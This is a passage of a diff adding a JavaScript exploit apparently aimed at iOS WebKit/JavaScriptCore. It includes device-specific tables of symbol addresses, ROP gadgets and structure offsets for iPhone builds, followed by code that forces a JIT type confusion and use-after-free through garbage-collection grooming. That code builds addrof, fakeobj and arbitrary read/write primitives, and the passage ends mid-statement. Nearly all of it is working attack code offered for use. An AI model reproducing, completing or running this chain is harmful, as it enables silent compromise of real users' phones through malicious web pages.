0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7085c8n, + free_slabs : 0x1ed7c1d50n, + gadget_control_1_ios184 : 0x23ed6d2ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7daf70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dac20n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dac28n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dac30n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7dab70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dac38n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cb0f8b4n, + libGPUCompilerImplLazy_cstring : 0x23bc59870n, + libsystem_c__atexit_mutex : 0x1ed6e71d8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6440n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x257a13e60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271de4000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87b1e8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__HTMLDocument_vtable : 0x1f10ddbf8n, + WebCore__initPKContact_once : 0x1ed887fb8n, + WebCore__initPKContact_value : 0x1ed887fc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f478n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886790n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886788n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886770n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c3c0n, + }, + "iPhone13,4_22B91": { + __pthread_head : 0x264f78028n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1e6df7e80n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1ea82a9c0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1e6df7920n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1e6df7880n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1e6df78d0n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1e6df6cc8n, + AXCoreUtilities__DefaultLoader : 0x1e4effca0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1e79dfc38n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1ab282294n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1ab282404n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ab221624n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ab221c38n, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1ab222254n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1ab221d74n, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e1bea920n, + DesktopServicesPriv_bss : 0x1e61c0f08n, + dyld__dlopen_from_lambda_ret : 0x1a87fc6a8n, + dyld__RuntimeState_emptySlot : 0x1a8813b9cn, + dyld__RuntimeState_vtable : 0x1eb7b50d8n, + dyld__signPointer : 0x1a88376f4n, + emptyString : 0x1984fd6f0n, + Foundation__NSBundleTables_bundleTables_value : 0x1e6c0c088n, + free_slabs : 0x1e6cc6ab0n, + gadget_control_1_ios184 : 0x181f7b2c8n, + gadget_control_2_ios184 : 0x1ac7c5ac4n, + gadget_control_3_ios184 : 0x21d0cdfe8n, + gadget_loop_1_ios184 : 0x1866e8978n, + gadget_loop_2_ios184 : 0x20b2e2184n, + gadget_loop_3_ios184 : 0x184ebcbe8n, + gadget_set_all_registers_ios184 : 0x1852c5854n, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x2652ae278n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1e5061658n, + HOMEUI_cstring : 0x1831a7feen, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1e6cda918n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1e6cda5d8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1e6cda5e0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1e6cda5e8n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1e6cda4d0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1e6cda5f0n, + ImageIO__gImageIOLogProc : 0x1e7a69e90n, + ImageIO__IIOLoadCMPhotoSymbols : 0x1887e787cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a5a7e50n, + JavaScriptCore__jitAllowList : 0x1e6e44290n, + JavaScriptCore__jitAllowList_once : 0x1e6e44108n, + jsc_base : 0x1995e4000n, + libARI_cstring : 0x2166c2820n, + libdyld__dlopen : 0x1ac7c9338n, + libdyld__dlsym : 0x1ac7c9138n, + libdyld__gAPIs : 0x1e68c0000n, + libGPUCompilerImplLazy__invoker : 0x24c03656cn, + libGPUCompilerImplLazy_cstring : 0x23a458870n, + libsystem_c__atexit_mutex : 0x1e6beba70n, + libsystem_kernel__thread_suspend : 0x1d31dbb90n, + libsystem_pthread_base : 0x20b320000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1e6bea708n, + mainRunLoop : 0x1e6e48028n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1b9bd5c40n, + PerfPowerServicesReader_cstring : 0x25441be10n, + privateState_off : 0x7e8n, + pthread_create : 0x20b328f6cn, + pthread_create_auth_stub : 0x0n, + pthread_create_jsc : 0x0n, + pthread_create_offset : 0x8f6cn, + pthread_linkedit : 0x26DAC9000n, + RemoteGraphicsContextGLWorkQueue : 0x1e6d72b58n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1e6e42d88n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1e4dd4268n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b566850n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b57a9b8n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1e709e068n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1ea212080n, + WebCore__initPKContact_once : 0x1e6d7f1a8n, + WebCore__initPKContact_value : 0x1e6d7f1b0n, + WebCore__PAL_getPKContactClass : 0x1e6d77108n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1e6d7db10n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1e6d7db08n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1e6d7daf0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1e7be3778n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1e6d84960n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1e501a670n, + WebProcess_ensureGPUProcessConnection : 0x1985cb554n, + WebProcess_gpuProcessConnectionClosed : 0x198e7c1ccn, + WebProcess_singleton : 0x1e6d74270n, + WebCore__HTMLDocument_vtable : 0x0n, + } +}; + +var globalFuncParseFloat = 0n; +var maximum_id = 0n; +async function _aarw_main() { + + // util func. + const util = (() => { + + let BASE = 0x100000000; + let scratch = new ArrayBuffer(0x10); + let u32 = new Uint32Array(scratch); + let f64 = new Float64Array(scratch); + let u64 = new BigUint64Array(scratch); + let conv_offset = 0; + + function set64(offset, lo, hi = null) { + u32[offset / 4] = lo; + u32[offset / 4 + 1] = hi !== null ? hi : lo / BASE; + } + + function _i2f(lo, hi = null) { + set64(conv_offset, lo, hi); + return f64[conv_offset / 8]; + } + + function _i64_2f(x) { + u64[conv_offset / 8] = x; + return f64[conv_offset / 8]; + } + + function _f2i(x) { + f64[conv_offset / 8] = x; + return u32[conv_offset/4] + BASE * u32[conv_offset / 4 + 1]; + } + + function _f2i64(x) { + f64[conv_offset / 8] = x; + return u64[conv_offset / 8]; + } + + function _hex(x) { + return '0x' + x.toString(16); + } + + const PAC_MASK = (1n << 39n) - 1n; + function _untag(x) { + return Number(BigInt(x) & PAC_MASK); + }; + + function _dgc(n = 10000) { + let ary = []; + for (let i = 0; i < n; ++i) { + ary.push(new Uint8Array(10000)); + } + } + + return {_i2f, _i64_2f, _f2i, _f2i64, _hex, _untag, _dgc}; + + })(); + + const {_untag: untag} = util; + const {_make_rw} = (() => { + + const {_f2i, _i2f, _dgc} = (() => { + + let BASE = 0x100000000; + let scratch = new ArrayBuffer(0x10); + let u32 = new Uint32Array(scratch); + let f64 = new Float64Array(scratch); + let u64 = new BigUint64Array(scratch); + let conv_offset = 0; + + function set64(offset, lo, hi = null) { + u32[offset / 4] = lo; + u32[offset / 4 + 1] = hi !== null ? hi : lo / BASE; + } + + function _i2f(lo, hi = null) { + set64(conv_offset, lo, hi); + return f64[conv_offset / 8]; + } + + function _i64_2f(x) { + u64[conv_offset / 8] = x; + return f64[conv_offset / 8]; + } + + function _f2i(x) { + f64[conv_offset / 8] = x; + return u32[conv_offset/4] + BASE * u32[conv_offset / 4 + 1]; + } + + function _f2i64(x) { + f64[conv_offset / 8] = x; + return u64[conv_offset / 8]; + } + + function _hex(x) { + return '0x' + x.toString(16); + } + + const PAC_MASK = (1n << 39n) - 1n; + function _untag(x) { + return Number(BigInt(x) & PAC_MASK); + }; + + function _dgc(n = 10000) { + let ary = []; + for (let i = 0; i < n; ++i) { + ary.push(new Uint8Array(10000)); + } + } + + return {_i2f, _i64_2f, _f2i, _f2i64, _hex, _untag, _dgc}; + + })() + + async function _make_rw(p_rce, mk_stage1, verify = false) { + for (let i = 0; i < 20000; ++i) { + _f2i(i); + _i2f(i); + } + + function getarg() { + return arguments; + } + + function get_oob(a,n) { + return a[1][n]; + } + + for (let i = 0; i < 300000; i++) { + let invkr = [i,getarg(i,2,3,4)]; + get_oob(invkr, 0); + } + + let arrs = new Array(4000); + for (let i = 0; i < 4000; ++i) { + let obj = { + a: i, + b: 0, + c: 0, + d: 0, + e: 0, + f: 0, + }; + arrs[i] = obj; + } + + mk_stage1(); + // GC is fine now + if (verify) _dgc(10000); + } + return {_make_rw}; + + })(); + + class TryAgainError extends Error {} + + const {_make_stage1} = (() => { + + let treetab = new Uint32Array([0x26258,0x12084,0xa8080,0x22488,0x49058,0x410a1,0x15099,0x9a614,0x84160,0x95095,0x44664,0x5a506,0x50889,0x4a488,0x60694,0xaa465,0x52481,0x69465,0x56491,0x6685a,0x12699,0xa29a8,0xa5620,0x181a4,0x91124,0xa6166,0x20a2,0x8a056,0x15140,0x98502,0x1a149,0x952aa,0x20a08,0x6206,0x12126,0x50409,0x46810,0xa2204,0xa499a,0x1122a,0x96295,0xa1188,0x1415,0x69a6a,0x25411,0x6591,0x60861,0x52246,0xa1088,0x45554,0x2889a,0x21895,0x8605,0x5892a,0x12060,0xa8665,0x94959,0x62090,0x91416,0x24929,0xa4495,0x10a98,0x92628,0x416,0x41816,0x5a86a,0x69026,0x58966,0x15895,0x580a2,0xa8140,0x404a5,0x15548,0x9a28,0x8aa51,0x92619,0xa2250,0x82404,0xa295a,0x84185,0xa5816,0x51469,0x82a91,0x48226,0x266a0,0x550a1,0x82410,0x516a5,0x11598,0x51266,0x8a408,0x15219,0x86a25,0x62606,0x6556,0x11892,0x14696,0x8a49a,0x904,0x5955a,0x10892,0x9682,0x8424a,0x54222,0x44a89,0x9626,0x82596,0x59594,0x91962,0x25969,0x61924,0x20180,0xa44aa,0x1a996,0x81421,0xa4601,0xa0261,0x92140,0x8810a,0x10641,0x49660,0x22901,0x2a600,0x5a140,0x44a20,0xa6199,0xa1a6,0x5a9a9,0x85028,0x12168,0x5811a,0x65928,0xaa485,0x12451,0x6145a,0x59126,0x89602,0x49448,0x59090,0x60598,0x5a802,0x6aa14,0xa42a0,0x89466,0x206a2,0x92650,0xa1a8a,0xa21,0x58244,0x49698,0x52564,0x6246a,0xa5451,0x8420,0xa8509,0x81a45,0x8654,0x18a91,0x95654,0x48104,0x820,0x28a09,0x89950,0xa2202,0x5658a,0x89092,0x6899,0x95a61,0xa05a5,0x4191a,0x1a562,0x45658,0x9a526,0x28a18,0x8956,0x91546,0xa26aa,0x85892,0x54292,0xa8581,0x51189,0x14445,0xa08a0,0xa8a60,0x29118,0x62025,0xa205a,0x54812,0x2214,0x64694,0x28682,0x14268,0x96054,0x46598,0x5020a,0x68115,0x82882,0x698a6,0x11191,0x2a461,0x92442,0x21a84,0x6054a,0x10442,0x9464a,0x49592,0x8102a,0x168a,0x6466,0x2a6a1,0x91619,0x189a2,0x19010,0x41510,0x85290,0x69810,0x9a065,0x981a0,0x29960,0x88152,0x29164,0xa65a9,0x59a42,0x69585,0xa994,0x29a92,0xaa058,0x2059a,0x21541,0x54a14,0x85415,0x96084,0x56551,0x99856,0xaa96a,0x81526,0xa6a24,0x96880,0x9214a,0x1699,0x2811,0x66862,0x6226a,0x58150,0x5181a,0x94a6,0x9a684,0xa1868,0xa90,0x21868,0x804a2,0xa1661,0x8885a,0x65182,0x58290,0x68421,0xa462,0x1aa9a,0xa6499,0xa605a,0x8640,0x260a0,0x120a0,0x54492,0x26a05,0x68a09,0x2aa42,0x45806,0x14980,0x94980,0x6589a,0x869a,0x64902,0xa254a,0x14121,0x92aa0,0xa2919,0x64a86,0x269a,0xa4546,0x51462,0x9891,0x21116,0x42029,0x6aa8a,0x409a,0xa151a,0x42a55,0xa6250,0x59910,0x9412a,0x50424,0x26419,0x8291a,0x5a264,0x84612,0x21521,0x99855,0xa8191,0x82828,0x995a4,0xa1124,0xa4491,0x19921,0x595aa,0x9a429,0x196a,0xa2142,0x99a80,0x58409,0xa8661,0x5982,0x68a48,0x41821,0x54126,0x52262,0x90841,0xaa142,0x10564,0x4a658,0x49512,0x8490,0x41808,0x2a685,0x68589,0x51825,0x91484,0x1a096,0x12684,0x24252,0x48661,0x6640,0xa144a,0x49269,0x4a5a,0x184a2,0x64840,0xa1a81,0x2a814,0x16190,0x89046,0x2009a,0x829a,0x58282,0x90229,0x51646,0x949a8,0x44985,0x22540,0x44446,0xa848a,0x10966,0x22496,0x68922,0x90860,0x26486,0x442aa,0x28506,0xaa912,0xa005,0x52105,0x98822,0xa4a88,0x8240,0x44250,0x49252,0x42a91,0x21599,0x65216,0x56609,0x2a240,0x14629,0xa5616,0xaa6,0x26550,0x5a285,0x126a9,0x14909,0x18618,0x28159,0x49410,0x11a24,0x12544,0x10466,0x80191,0x28551,0x5191a,0x90865,0x62649,0xa4658,0x58614,0x82022,0x12122,0x266a,0x9809a,0x98662,0x6482a,0x42a95,0x49496,0x91a10,0xaa459,0x14554,0x816a2,0x84a81,0x80a55,0x85452,0x416aa,0x8908a,0x65006,0x581aa,0x8458a,0x2aa0,0x60aa,0x52548,0x61982,0x99844,0x4129,0x29aa9,0xa10a6,0x9958a,0x49091,0xa580,0x19984,0x68544,0x98564,0x40689,0x14a,0x10920,0x56218,0x92694,0x50426,0x19881,0x12a46,0x8089a,0x5a948,0x22408,0x60425,0x98016,0x2628,0xa5180,0x5568a,0x52984,0xa18a8,0x21210,0x6855a,0x26859,0x65092,0x46a05,0x24809,0x2aa55,0xa04a6,0x55104,0x9a8aa,0x94065,0xa916a,0x4a929,0x19a90,0x24458,0x92196,0x84609,0x10a2,0x548a1,0xa9125,0x66160,0x2908,0x6925a,0x54129,0x4649,0x692a0,0x10419,0x98484,0x21692,0x99a14,0x2a166,0x5210a,0x64140,0x550a4,0x86664,0x9111,0x5254,0x80556,0x52644,0x64866,0xa948a,0x9024a,0x6850a,0x10141,0xa1808,0x86290,0x28900,0x10525,0x20159,0x85299,0x4a48a,0x58211,0x14642,0x10a11,0xa8164,0x2159,0x4a052,0x49528,0x2955,0x120a2,0x24084,0x69089,0x8115,0xa9a24,0xa8949,0xaa420,0x8a946,0x4a419,0x16526,0x5025,0xaa861,0xa5122,0x45869,0xa5284,0x92960,0x92001,0x54185,0xa6948,0x12186,0x25011,0xa9925,0x9942,0x84452,0xa26aa,0x55002,0x8aa42,0x40445,0x12551,0xaa856,0x425a0,0x1010a,0x54521,0x12291,0x8088a,0x50204,0x6aa52,0x15826,0x96501,0x80aa6,0x85a59,0xaa512,0x2a585,0xa9045,0x29924,0x86a81,0x81581,0x55090,0x48889,0xa2529,0x99525,0x89852,0x591aa,0x22a19,0x81864,0x68629,0x1aa98,0x91640,0x1840,0x58660,0xa8918,0x6925a,0x92654,0x5284a,0x9990,0x48524,0x51aa5,0x96948,0x52051,0x6458,0x26662,0x214a5,0x28809,0x4201a,0xa8258,0x6a256,0x1450,0x56a08,0xaa858,0x51a66,0x562a2,0x22592,0x4a010,0x554a5,0x90444,0x4809a,0x12a26,0x41aa9,0x51161,0x66a68,0x82984,0x1aa2,0x91aa8,0x46898,0x16066,0x25aa,0x116a,0x595a1,0x45454,0x25502,0x44946,0x99000,0x40928,0x9410a,0x4a821,0x5a29,0x6aa28,0x9059a,0x18a20,0x29aa8,0xa26a2,0x25082,0x81265,0x21544,0x29aa,0x96019,0x2501a,0x82981,0x28519,0x92490,0x69994,0x12445,0xa54a1,0x4a260,0x59060,0xaa20,0x68aaa,0x96591,0x94a25,0x69421,0x50158,0x86501,0x88441,0x96250,0x88aa,0x89565,0x55a6a,0x94044,0xa1a00,0x81082,0x92858,0x8a514,0x140,0x40181,0xa8580,0x98400,0x89951,0x18a01,0x6991,0x515a1,0x1a924,0x18485,0x5116,0x64565,0x4608a,0x8460a,0xa5629,0x81655,0x5514a,0x21a4,0x11191,0x1801,0x19129,0x50282,0x60155,0x160aa,0x9aa12,0x2961a,0x48108,0xa119a,0x55944,0x50004,0x9a0a8,0x29022,0xa55a4,0x29526,0x59818,0x95815,0x4a1a4,0x22598,0x1aa91,0x91252,0x6090a,0x46a65,0x109a4,0x95908,0x80421,0x66926,0x9056a,0x2149a,0x59aa,0x56659,0xa1181,0x95084,0x8244a,0x69551,0x42295,0x46418,0x26898,0x56242,0x8569,0x65956,0x9242a,0x60509,0xa0849,0x5a208,0x51564,0x91591,0x545a1,0x21826,0x1141,0x60a80,0x42819,0x95541,0x29542,0x4a469,0x85668,0xa2518,0x2144a,0x56991,0x2958,0x68141,0x566a6,0x96886,0x5a162,0x28014,0xa6a1,0x68945,0x52291,0x82215,0xa612,0x4aaa4,0x2a41,0x62286,0xa65a9,0x254a1,0x4089,0xa1425,0x40699,0x52294,0x1a581,0xa1a02,0x26199,0x41066,0x50822,0xa60a4,0x91181,0x682a9,0x1a94a,0x29448,0x922a5,0x21a09,0x912a5,0x10681,0xa0aa9,0x9062a,0x91409,0x4a005,0x580a8,0xa661,0x90404,0x41242,0x5226,0x85501,0xa6461,0xa56a1,0x81a10,0x81828,0x88251,0x962a4,0x61946,0x2984,0xa5152,0x91044,0x548a9,0x94556,0x44564,0x16424,0x24090,0x5521a,0x59549,0x510a8,0x241a4,0x4a54,0x6a6a2,0x489a0,0x82aa1,0x20919,0x8a5aa,0x48565,0x28485,0x51a26,0x95095,0x2102a,0x2a286,0x44418,0xa8894,0xaa542,0x15159,0x46964,0x59685,0x6a298,0x1252a,0x60a20,0x81491,0x99562,0x64616,0x60562,0x6010,0x6692a,0x1a2a9,0x44180,0x98198,0x60888,0x52916,0x6a658,0x26628,0x1a090,0x86554,0x2a12a,0x48548,0x58641,0x82594,0x9881a,0x9621a,0x4622a,0x568a,0xa9a5a,0x8919,0x1a621,0x818a5,0x5094a,0x9244,0x64486,0x84554,0x11046,0x5556,0x45aa4,0xa4929,0x24995,0x18280,0x56166,0x91286,0xa2988,0x58065,0x15050,0xa1988,0x11059,0x69186,0x89688,0x62411,0x56a18,0x8101,0x24909,0x11820,0x4a004,0xaa286,0x9590,0x95422,0x4490,0x96995,0x8858,0x19aa0,0x2a106,0x4a198,0x58a54,0x88956,0x4258a,0x46581,0x82108,0x8a580,0x1a412,0x50a02,0x54096,0xa6564,0x618a8,0x6a2a4,0x49928,0x2a440,0x28940,0xa2541,0x5a259,0x90184,0x24001,0x60500,0x58609,0x59054,0x25625,0x56949,0x90196,0x80059,0x1a094,0x42a69,0x48660,0x41a84,0x585a8,0x65054,0x2904a,0x88a15,0x51618,0x56506,0x86a9,0x2429,0xa6158,0x50816,0x4000a,0x416a6,0x286a6,0x51062,0xa0900,0x16844,0x59552,0x509aa,0x62998,0x11594,0x186a2,0x2a646,0x5866,0x4255a,0xa6622,0x61986,0x91544,0x91909,0x94441,0x9a119,0xa10aa,0x41215,0x5a125,0xa224,0x19416,0x400a,0x96990,0x80244,0x6a5aa,0xa5895,0x14564,0x8a504,0x2a44a,0x6a850,0x528a,0x64568,0x81921,0x11162,0x41249,0x18a44,0x80954,0x61501,0x48551,0x8aa09,0x48590,0x18566,0xa0882,0x5a144,0x98912,0x40404,0x65000,0xa058a,0x8459,0x106a9,0x22a01,0x94202,0x50062,0x55a88,0x890aa,0x56a11,0x65a84,0x90298,0x9a19,0x50984,0x20952,0xa5a20,0x98924,0x55698,0x9a642,0x69520,0x44114,0x888a1,0x10642,0x15516,0x21244,0x66806,0x159a4,0x12a44,0x60251,0x25959,0x6458,0x1a568,0xa1196,0x60498,0x46298,0x40482,0xa1905,0x85a95,0x46252,0x24942,0x5a26a,0x2188,0x189a1,0x6461a,0x80510,0x10a60,0x42419,0x4a568,0x16559,0x28902,0x1a119,0x88004,0x12025,0x92121,0xa410,0x15862,0x6859a,0x88999,0x8251,0x842a0,0xa1a54,0x12959,0x92019,0x46980,0x14658,0x196a9,0x11802]); + + let grbase = 30; + //let grbase = Math.floor(Math.random() * 2) + 18; + + function exp() { + let shallow_flat = new Array(new Array(false,false), new Array(false,false)); + function opt(flat) { + let oj = {a: 0,b: 0, 0: 13.37}; + let _a = {a: 0}; + let a = flat ? _a : 14.47; + for (let i=0; i < flat.length; i++) { + flat[i][2] = a; + } + _a.a = oj; + oj = 0; + return _a; + }; + + function prepare() { + for (let i=0; i<10000; i++) { + shallow_flat[0][0] = i; + shallow_flat[1][0] = i; + opt(shallow_flat); + } + } + + function build_tree(depth,isz) { + if (!depth) { + return {a:0}; + } + let leaf = new Array(3); + for (let i=0; i<3; i++) { + leaf[i] = build_tree(depth-1, (i==0) && isz); + } + return leaf; + } + + function flatten_tree(tree) { + let flattree = new Array(treetab.length); + for (let k in treetab) { + let path = treetab[k]; + let node = tree; + for (let i=0; i < 11; i++) { + node = node[(path >> (i*2)) & 0x3]; + } + flattree[k] = node; + } + tree[0][0][0][0][0][0][0][0][0][0][0][0][0] = flattree; // store far away from where GC can see it, otherwise it would shortcut depth-first search + } + + let rpl = new Array(4096); + let rpl2 = new Array(4096); + + function wipe_tree(tree) { + if (tree.a !== undefined) return; + if(!tree) return; + for (let i=2; i>=0; i--) { + let v = tree[i]; + tree[i] = 0; + wipe_tree(v); + } + } + + prepare(); + + function _gr(a) { + return new Uint8Array(2<<(grbase+a)); + for (let i of []) {} // noInline + } + + function gr(a) { + _gr(a); + } + + let pair = {contig: false, double: false}; + + let iit = 256; + let rootblock = new Array(iit); + let rootblock1 = new Array(iit); + let uaf = new Array(0); + function pwn(util, p) { + let did_find = false; + let tree = build_tree(12,3); + flatten_tree(tree); + for (let i = 0; i < 16; i++) { + rpl[i] = new Array(14.47,14.47,14.47,i); + } + gr(5); + + // now the GC is running and stack has been scanned already, so it's safe to fetch this + let flattree = tree[0][0][0][0][0][0][0][0][0][0][0][0][0]; + + for (let i = 0; i < iit; i++) { + uaf[i] = opt(flattree); + } + flattree.length = 0; + wipe_tree(tree); + gr(5); + gr(5); + for (let i = 0; i < iit*2; i++) { + rpl2[i] = new Array(14.47,14.47,14.47,i); + } + for (let i = 0; i < iit; i++) { + uaf[i] = uaf[i].a; + } + gr(5); + for (let i = 0; i < iit; i++) { + rpl[i] = {a:4242,b:i}; + } + let found = false; + for (let i = 0; i < iit; i++) { + if (!found && uaf[i][0] == 14.47) { + uaf[i][0] = 15.57; + for (let j=0; j util._f2i(p_rce.addrof(o)); + p_rce.fakeobj52 = (a) => p_rce.fakeobj(util._i2f(a)); + return; + } + } + } + uaf[i][0] = 0; + } + rpl.fill(0); + rpl2.fill(0); + gr(5); + throw new Error("failed exp"); + }; + return pwn; + } + + function _make_stage1(util, p_rce) { + let run = exp(); + + const N = 30; // tunable count + for (let i = 0; i < N; ++i) { + try { + run(util, p_rce); + print(`success with ${i+1} unit tries`); + return; + } catch (e) { + // log('retrying! ' + e); + } + } + throw new TryAgainError(); + } + + return {_make_stage1}; + + })(); + + print("try aar/w"); + try { + await _make_rw(p_rce, () => _make_stage1(util, p_rce)); + function setup_stage1_prim(p_rce) + { + print("inside stage1_prim"); + function addrof(object) { + return BigInt.fromDouble((p_rce.addrof(object))); + } + function fakeobj(addr) { + return p_rce.fakeobj(addr.asDouble()); + } + let junk0 = new Array(4).fill(1.1); + junk0[0] = 1.1; + junk0[1] = 1.1; + let scribble_element = new Array(4).fill(1.1); + scribble_element[0] = 1.1; + scribble_element[1] = 1.1; + let results = new Array(2).fill(1.1); + results[0] = 1.1; + results[1] = 1.1; + let change_scribble_holder = { p1: fakeobj(0x0108240700006000n), p2: scribble_element }; + let change_scribble = fakeobj(addrof(change_scribble_holder) + 0x10n); + for (let i = 0; i < 2; i++) { + let a = i == 0 ? change_scribble : junk0; + results[i] 